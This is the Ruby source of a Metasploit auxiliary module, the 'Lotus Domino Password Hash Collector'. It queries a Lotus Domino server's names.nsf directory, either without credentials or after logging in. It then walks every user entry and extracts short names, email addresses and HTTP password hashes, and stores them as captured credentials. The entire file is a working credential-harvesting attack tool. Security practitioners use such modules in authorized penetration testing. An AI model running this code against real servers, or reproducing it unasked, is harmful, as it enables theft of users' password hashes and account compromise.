metasploit-framework/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Auxiliary

  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'Lotus Domino Password Hash Collector',
      'Description'    => 'Get users passwords hashes from names.nsf page',
      'Author'         => 'Tiago Ferreira <tiago.ccna[at]gmail.com>',
      'License'        => MSF_LICENSE
    )

  register_options(
    [
      OptString.new('NOTES_USER', [false, 'The username to authenticate as', '']),
      OptString.new('NOTES_PASS', [false, 'The password for the specified username' ]),
      OptString.new('URI', [false, 'Define the path to the names.nsf file', '/names.nsf']),
    ], self.class)

  end

  def run_host(ip)

    user = datastore['NOTES_USER'].to_s
    pass = datastore['NOTES_PASS'].to_s
    $uri = normalize_uri(datastore['URI'])

    if (user.length == 0 and pass.length == 0)
      print_status("http://#{vhost}:#{rport} - Lotus Domino - Trying dump password hashes without credentials")

      begin
        res = send_request_raw({
          'method'  => 'GET',
          'uri'     => "#{$uri}\/$defaultview?Readviewentries",
        }, 25)

        if res.nil?
          print_error("Connection timed out")
          return
        end

        if (res and res.body.to_s =~ /\<viewentries/)
          print_good("http://#{vhost}:#{rport} - Lotus Domino - OK names.nsf accessible without credentials")
          cookie = ''
          get_views(cookie,$uri)

        elsif (res and res.body.to_s =~ /names.nsf\?Login/)
          print_error("http://#{vhost}:#{rport} - Lotus Domino - The remote server requires authentication")
          return :abort

        else
          print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response")
          print_error(res.inspect)
          return :abort

        end

        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
        rescue ::Timeout::Error, ::Errno::EPIPE
      end

    else
      print_status("http://#{vhost}:#{rport} - Lotus Domino - Trying dump password hashes with given credentials")
      do_login(user, pass)

    end

  end


  def do_login(user=nil,pass=nil)
    post_data = "username=#{Rex::Text.uri_encode(user.to_s)}&password=#{Rex::Text.uri_encode(pass.to_s)}&RedirectTo=%2Fnames.nsf"

    begin

      res = send_request_cgi({
        'method'  => 'POST',
        'uri'     => '/names.nsf?Login',
        'data'    => post_data,
      }, 20)

      if res.nil?
        print_error("http://#{vhost}:#{rport} - Connection timed out")
        return
      end

      if (res and res.code == 302 )
        if res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/DomAuthSessId=(.*);(.*)/i)
          cookie = "DomAuthSessId=#{$1}"
        elsif res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/LtpaToken=(.*);(.*)/i)
          cookie = "LtpaToken=#{$1}"
        else
          print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized 302 response")
          return :abort
        end
        print_good("http://#{vhost}:#{rport} - Lotus Domino - SUCCESSFUL authentication for '#{user}'")
        print_status("http://#{vhost}:#{rport} - Lotus Domino - Getting password hashes")
        get_views(cookie,$uri)

      elsif (res and res.body.to_s =~ /names.nsf\?Login/)
          print_error("http://#{vhost}:#{rport} - Lotus Domino - Authentication error: failed to login as '#{user}'")
          return :abort

      else
        print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response")
        return :abort
      end

      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      rescue ::Timeout::Error, ::Errno::EPIPE
    end

  end

  def get_views(cookie,uri)

    begin
      res = send_request_raw({
        'method'  => 'GET',
        'uri'     => "#{uri}\/$defaultview?Readviewentries",
        'cookie'  => cookie,
      }, 25)
      if (res and res.body)
        max = res.body.scan(/siblings=\"(.*)\"/)[0].join

        1.upto(max.to_i) {|i|
          res = send_request_raw({
            'method'  => 'GET',
            'uri'     => "#{uri}\/$defaultview?Readviewentries&Start=#{i}",
            'cookie'  => cookie,
          }, 25)

        viewId = res.body.scan(/unid="([^\s]+)"/)[0].join
        dump_hashes(viewId,cookie,uri)
        }

      end

      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end

  def dump_hashes(view_id,cookie,uri)

    begin
      res = send_request_raw({
        'method'  => 'GET',
        'uri'     => "#{uri}\/$defaultview/#{view_id}?OpenDocument",
        'cookie'  => cookie,
      }, 25)

      if (res and res.body)
        short_name = res.body.scan(/<INPUT NAME=\"ShortName\" TYPE=(?:.*) VALUE=\"([^\s]+)"/i).join
        user_mail = res.body.scan(/<INPUT NAME=\"InternetAddress\" TYPE=(?:.*) VALUE=\"([^\s]+)"/i).join
        pass_hash = res.body.scan(/<INPUT NAME=\"\$?dspHTTPPassword\" TYPE=(?:.*) VALUE=\"([^\s]+)"/i).join

        if short_name.to_s.strip.empty?
          short_name = 'NULL'
        end

        if user_mail.to_s.strip.empty?
          user_mail = 'NULL'
        end

        if pass_hash.to_s.strip.empty?
          pass_hash = 'NULL'
        end

        print_good("http://#{vhost}:#{rport} - Lotus Domino - Account Found: #{short_name}, #{user_mail}, #{pass_hash}")

        if pass_hash != 'NULL'
          domino_svc = report_service(
            :host => rhost,
            :port => rport,
            :name => "http"
          )
          report_auth_info(
            :host        => rhost,
            :port        => rport,
            :sname       => (ssl ? "https" : "http"),
            :user        => short_name,
            :pass        => pass_hash,
            :ptype       => "domino_hash",
            :source_id => domino_svc.id,
            :source_type => "service",
            :proof       => "WEBAPP=\"Lotus Domino\", USER_MAIL=#{user_mail}, HASH=#{pass_hash}, VHOST=#{vhost}",
            :active      => true
          )
        end
      end

      rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
      rescue ::Timeout::Error, ::Errno::EPIPE
    end
  end
end